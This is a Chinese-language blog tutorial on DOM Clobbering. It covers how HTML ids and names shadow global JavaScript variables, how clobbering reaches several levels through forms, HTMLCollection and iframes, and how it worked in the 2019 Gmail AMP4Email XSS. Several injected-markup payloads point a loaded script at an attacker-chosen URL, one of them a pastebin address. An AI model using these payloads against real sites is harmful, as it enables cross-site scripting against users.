淺談 DOM Clobbering 的原理及應用


Posted by huli on 2021-01-23

前言

說身為一個前端工程師，理所當然會知道很多與前端相關的知識，像是 HTML 或是 JS 相關的東西，但那些知識通常都與「使用」有關。例如說我知道寫 HTML 的時候要 semantic，要使用正確的標籤；我知道 JS 應該要怎麼用。可是呢，有些知識雖然也跟網頁有關，卻不是前端工程師平常會接觸到的。

我所謂的「有些知識」，指的其實是「資訊安全相關的知識」。有些在資訊安全裡面常見的觀念，雖然跟網頁有關，卻是我們不太熟悉的東西，而我認為理解這些其實是很重要的。因為你必須懂得怎麼攻擊才能防禦，要先知道攻擊手法跟原理，才知道該怎麼防範這些攻擊。

在正式開始之前，先給大家一個趣味題目小試身手。

假設你有一段程式碼，有一個按鈕以及一段 script，如下所示：

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
</head>

<body>
  <button id="btn">click me</button>
  <script>
    // TODO: add click event listener to button
  </script>
</body>
</html>

現在請你嘗試用「最短的程式碼」，實作出「點下按鈕時會跳出 alert(1)」這個功能。

舉例來說，這樣寫可以達成目標：

document.getElementById('btn')
  .addEventListener('click', () => {
    alert(1)
  })

那如果要讓程式碼最短，你的答案會是什麼？

大家可以在往下看以前先想一下這個問題，想好以後就讓我們正式開始吧！

防雷
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DOM 與 window 的量子糾纏

你知道 DOM 裡面的東西，有可能影響到 window 嗎？

這個行為是我幾年前在臉書的前端社群無意間得知的，那就是你在 HTML 裡面設定一個有 id 的元素之後，在 JS 裡面就可以直接存取到它：

<button id="btn">click me</button>
<script>
  console.log(window.btn) // <button id="btn">click me</button>
</script>

然後因為 JS 的 scope，所以你就算直接用 btn 也可以，因為當前的 scope 找不到就會往上找，一路找到 window。

所以開頭那題，答案是：

btn.onclick = () => alert(1)

不需要 getElementById，也不需要 querySelector，只要直接用跟 id 同名的變數去拿，就可以拿得到。應該不會有比這個更短的程式碼了（有的話歡迎留言打臉我QQ）

而這個行為是有明確定義在 spec 上的，在 7.3.3 Named access on the Window object：

幫大家節錄兩個重點：

  1. the value of the name content attribute for all embed, form, img, and object elements that have a non-empty name content attribute
  2. the value of the id content attribute for all HTML elements that have a non-empty id content attribute

也就是說除了 id 可以直接用 window 存取到以外，embed, form, img 跟 object 這四個 tag 用 name 也可以存取到：

<embed name="a"></embed>
<form name="b"></form>
<img name="c" />
<object name="d"></object>

但是知道這個有什麼用呢？有，理解這個規格之後，我們可以得出一個結論：

我們是有機會透過 HTML 元素來影響 JS 的

而這個手法用在攻擊上，就是標題的 DOM Clobbering。之前是因為這個攻擊才第一次聽到 clobbering 這個單字的，去查一下發現在 CS 領域中有覆蓋的意思，就是透過 DOM 把一些東西覆蓋掉以達成攻擊的手段。

DOM Clobbering 入門

那在什麼場景之下有機會用 DOM Clobbering 攻擊呢？

首先，你必須有機會在頁面上顯示你自訂的 HTML，否則就沒有辦法了。所以一個可以攻擊的場景可能會像是這樣：

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
  <h1>留言板</h1>
  <div>
    你的留言：哈囉大家好
  </div> 
  <script>
    if (window.TEST_MODE) {
      // load test script
      var script = document.createElement('script')
      script.src = window.TEST_SCRIPT_SRC
      document.body.appendChild(script)
    }
  </script>
</body>
</html>

假設現在有一個留言板，你可以輸入任意內容，但是你的輸入在 server 端會透過 DOMPurify 來做處理，把任何可以執行 JavaScript 的東西給拿掉，所以 <script></script> 會被刪掉，<img src=x onerror=alert(1)> 的 onerror 會被拿掉，還有許多 XSS payload 都沒有辦法過關。

簡而言之，你沒辦法執行 JavaScript 來達成 XSS，因為這些都被過濾掉了。

但是因為種種因素，並不會過濾掉 HTML 標籤，所以你可以做的事情是顯示自訂的 HTML。只要沒有執行 JS，你想要插入什麼 HTML 標籤，設置什麼屬性都可以。

所以呢，你可以這樣做：

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
  <h1>留言板</h1>
  <div>
    你的留言：<div id="TEST_MODE"></div>
    <a id="TEST_SCRIPT_SRC" href="my_evil_script"></a>
  </div> 
  <script>
    if (window.TEST_MODE) {
      // load test script
      var script = document.createElement('script')
      script.src = window.TEST_SCRIPT_SRC
      document.body.appendChild(script)
    }
  </script>
</body>
</html>

根據我們上面所得到的知識，可以插入一個 id 是 TEST_MODE 的標籤 <div id="TEST_MODE"></div>，這樣底下 JS 的 if (window.TEST_MODE) 就會過關，因為 window.TEST_MODE 會是這個 div 元素。

再來我們可以用 <a id="TEST_SCRIPT_SRC" href="my_evil_script"></a>，來讓 window.TEST_SCRIPT_SRC 轉成字串之後變成我們想要的字。

在大多數的狀況中，只是把一個變數覆蓋成 HTML 元素是不夠的，例如說你把上面那段程式碼當中的 window.TEST_MODE 轉成字串印出來：

// <div id="TEST_MODE" />
console.log(window.TEST_MODE + '')

結果會是：[object HTMLDivElement]。

把一個 HTML 元素轉成字串就是這樣，會變成這種形式，如果是這樣的話那基本上沒辦法利用。但幸好在 HTML 裡面有兩個元素在 toString 的時候會做特殊處理：<base> 跟 <a>：

來源：4.6.3 API for a and area elements

這兩個元素在 toString 的時候會回傳 URL，而我們可以透過 href 屬性來設置 URL，就可以讓 toString 之後的內容可控。

所以綜合以上手法，我們學到了：

  1. 用 HTML 搭配 id 屬性影響 JS 變數
  2. 用 a 搭配 href 以及 id 讓元素 toString 之後變成我們想要的值

透過上面這兩個手法再搭配適合的場景，就有機會利用 DOM Clobbering 來做攻擊。

不過這邊要提醒大家一件事，如果你想攻擊的變數已經存在的話，你用 DOM 是覆蓋不掉的，例如說：

<!DOCTYPE html>
<html>
<head>
  <script>
    TEST_MODE = 1
  </script>
</head>
<body>
  <div id="TEST_MODE"></div> 
  <script>
    console.log(window.TEST_MODE) // 1
  </script>
</body>
</html>

多層級的 DOM Clobbering

在前面的範例中，我們用 DOM 把 window.TEST_MODE 蓋掉，創造出未預期的行為。那如果要蓋掉的對象是個物件，有機會嗎？

例如說 window.config.isTest，這樣也可以用 DOM clobbering 蓋掉嗎？

有幾種方法可以蓋掉，第一種是利用 HTML 標籤的層級關係，具有這樣特性的是 form，表單這個元素：

在 HTML 的 spec 中有這樣一段：

可以利用 form[name] 或是 form[id] 去拿它底下的元素，例如說：

<!DOCTYPE html>
<html>
<body>
  <form id="config">
    <input name="isTest" />
    <button id="isProd"></button>
  </form>
  <script>
    console.log(config) // <form id="config">
    console.log(config.isTest) // <input name="isTest" />
    console.log(config.isProd) // <button id="isProd"></button>
  </script>
</body>
</html>

如此一來就可以構造出兩層的 DOM clobbering。不過有一點要注意，那就是這邊沒有 a 可以用，所以 toString 之後都會變成沒辦法利用的形式。

這邊比較有可能利用的機會是，當你要覆蓋的東西是用 value 存取的時候，例如說：config.enviroment.value，就可以利用 input 的 value 屬性做覆蓋：

<!DOCTYPE html>
<html>
<body>
  <form id="config">
    <input name="enviroment" value="test" />
  </form>
  <script>
    console.log(config.enviroment.value) // test
  </script>
</body>
</html>

簡單來說呢，就是只有那些內建的屬性可以覆蓋，其他是沒有辦法的。

除了利用 HTML 本身的層級以外，還可以利用另外一個特性：HTMLCollection。

在我們稍早看到的關於 Named access on the Window object 的 spec 當中，決定值是什麼的段落是這樣寫的：

如果要回傳的東西有多個，就回傳 HTMLCollection。

<!DOCTYPE html>
<html>
<body>
  <a id="config"></a>
  <a id="config"></a>
  <script>
    console.log(config) // HTMLCollection(2)
  </script>
</body>
</html>

那有了 HTMLCollection 之後可以做什麼呢？在 4.2.10.2. Interface HTMLCollection 中有寫到，可以利用 name 或是 id 去拿 HTMLCollection 裡面的元素。

像是這樣：

<!DOCTYPE html>
<html>
<body>
  <a id="config"></a>
  <a id="config" name="apiUrl" href="https://huli.tw"></a>
  <script>
    console.log(config.apiUrl + '')
    // https://huli.tw
  </script>
</body>
</html>

就可以透過同名的 id 產生出 HTMLCollection，再用 name 來抓取 HTMLCollection 的特定元素，一樣可以達到兩層的效果。

而如果我們把 form 跟 HTMLCollection 結合在一起，就能夠達成三層：

<!DOCTYPE html>
<html>
<body>
  <form id="config"></form>
  <form id="config" name="prod">
    <input name="apiUrl" value="123" />
  </form>
  <script>
    console.log(config.prod.apiUrl.value) //123
  </script>
</body>
</html>

先利用同名的 id，讓 config 可以拿到 HTMLCollection，再來用 config.prod 就可以拿到 HTMLCollection 中 name 是 prod 的元素，也就是那個 form，接著就是 form.apiUrl 拿到表單底下的 input，最後用 value 拿到裡面的屬性。

所以如果最後要拿的屬性是 HTML 的屬性，就可以四層，否則的話就只能三層。

再更多層級的 DOM Clobbering

前面提到三層或是有條件的四層已經是極限了，那有沒有辦法再突破限制呢？

根據 DOM Clobbering strikes back 裡面給的做法，有，利用 iframe 就可以達到！

當你建了一個 iframe 並且給它一個 name 的時候，用這個 name 就可以指到 iframe 裡面的 window，所以可以像這樣：

<!DOCTYPE html>
<html>
<body>
  <iframe name="config" srcdoc='
    <a id="apiUrl"></a>
  '></iframe>
  <script>
    setTimeout(() => {
      console.log(config.apiUrl) // <a id="apiUrl"></a>
    }, 500)
  </script>
</body>
</html>

這邊之所以會需要 setTimeout 是因為 iframe 並不是同步載入的，所以需要一些時間才能正確抓到 iframe 裡面的東西。

有了 iframe 的幫助之後，就可以創造出更多層級：

<!DOCTYPE html>
<html>
<body>
  <iframe name="moreLevel" srcdoc='
    <form id="config"></form>
    <form id="config" name="prod">
      <input name="apiUrl" value="123" />
    </form>
  '></iframe>
  <script>
    setTimeout(() => {
      console.log(moreLevel.config.prod.apiUrl.value) //123
    }, 500)
  </script>
</body>
</html>

理論上你可以在 iframe 裡面再用一個 iframe，就可以達成無限多層級的 DOM clobbering，不過我試了一下發現可能有點編碼的問題需要處理，例如說像是這樣：

<!DOCTYPE html>
<html>
<body>
  <iframe name="level1" srcdoc='
    <iframe name="level2" srcdoc="
      <iframe name="level3"></iframe>
    "></iframe>
  '></iframe>
  <script>
    setTimeout(() => {
      console.log(level1.level2.level3) // undefined
    }, 500)
  </script>
</body>
</html>

印出來會是 undefined，但如果把 level3 的那兩個雙引號拿掉，直接寫成 name=level3 就可以成功印出東西來，我猜是因為單引號雙引號的一些解析問題造成的，目前還沒找到什麼解法，只嘗試了這樣是 ok 的，但是再往下就出錯了：

<!DOCTYPE html>
<html>
<body>
  <iframe name="level1" srcdoc="
    <iframe name=&quot;level2&quot; srcdoc=&quot;
      <iframe name='level3' srcdoc='
        <iframe name=level4></iframe>
      '></iframe>
    &quot;></iframe>
  "></iframe>
  <script>
    setTimeout(() => {
      console.log(level1.level2.level3.level4)
    }, 500)
  </script>
</body>
</html>

但現實生活中應該也不會到這麼深的層級啦，所以四層頂多五層就已經很夠用了。

2021-08-14 補充：
感謝朋友的告知，用這樣就可以無限多層了

<iframe name=a srcdoc="
  <iframe name=b srcdoc=&quot
    <iframe name=c srcdoc=&amp;quot;
      <iframe name=d srcdoc=&amp;amp;quot;
        <iframe name=e srcdoc=&amp;amp;amp;quot;
          <iframe name=f srcdoc=&amp;amp;amp;amp;quot;
            <div id=g>123</div>
          &amp;amp;amp;amp;quot;></iframe>
        &amp;amp;amp;quot;></iframe>
      &amp;amp;quot;></iframe>
    &amp;quot;></iframe>
  &quot></iframe>
"></iframe>

實際案例研究：Gmail AMP4Email XSS

在 2019 年的時候 Gmail 有一個漏洞就是透過 DOM clobbering 來攻擊的，完整的 write up 在這邊：XSS in GMail’s AMP4Email via DOM Clobbering，底下我就稍微講一下過程（內容都取材自上面這篇文章）。

簡單來說呢，在 Gmail 裡面你可以使用部分 AMP 的功能，然後 Google 針對這個格式的 validator 很嚴謹，所以沒有辦法透過一般的方法 XSS。

但是有人發現可以在 HTML 元素上面設置 id，又發現當他設置了一個 <a id="AMP_MODE"> 之後，console 突然出現一個載入 script 的錯誤，而且網址中的其中一段是 undefined。仔細去研究程式碼之後，有一段程式碼大概是這樣的：

var script = window.document.createElement("script");
script.async = false;

var loc;
if (AMP_MODE.test && window.testLocation) {
    loc = window.testLocation
} else {
    loc = window.location;
}

if (AMP_MODE.localDev) {
    loc = loc.protocol + "//" + loc.host + "/dist"
} else {
    loc = "https://cdn.ampproject.org";
}

var singlePass = AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "";
b.src = loc + "/rtv/" + AMP_MODE.rtvVersion; + "/" + singlePass + "v0/" + pluginName + ".js";

document.head.appendChild(b);

如果我們能讓 AMP_MODE.test 跟 AMP_MODE.localDev 都是 truthy 的話，再搭配設置 window.testLocation，就能夠載入任意的 script！

所以 exploit 會長的像這樣：

// 讓 AMP_MODE.test 跟 AMP_MODE.localDev 有東西
<a id="AMP_MODE" name="localDev"></a>
<a id="AMP_MODE" name="test"></a>

// 設置 testLocation.protocol
<a id="testLocation"></a>
<a id="testLocation" name="protocol" 
   href="https://pastebin.com/raw/0tn8z0rG#"></a>

最後就能成功載入任意 script，進而達成 XSS！（不過當初作者只有試到這一步就被 CSP 擋住了）。

這應該是 DOM Clobbering 最有名的案例之一了。

總結

雖然說 DOM Clobbering 的使用場合有限，但真的是個相當有趣的攻擊方式！而且如果你不知道這個 feature 的話，可能完全沒想過可以透過 HTML 來影響全域變數的內容。

如果對這個攻擊手法有興趣的，可以參考 PortSwigger 的文章，裡面提供了兩個 lab 讓大家親自嘗試這個攻擊手法，光看是沒用的，要實際下去攻擊才更能體會。

參考資料：

  1. 使用 Dom Clobbering 扩展 XSS
  2. DOM Clobbering strikes back
  3. DOM Clobbering Attack学习记录.md
  4. DOM Clobbering学习记录
  5. XSS in GMail’s AMP4Email via DOM Clobbering
  6. Is there a spec that the id of elements should be made global variable?
  7. Why don't we just use element IDs as identifiers in JavaScript?
  8. Do DOM tree elements with ids become global variables?


huli
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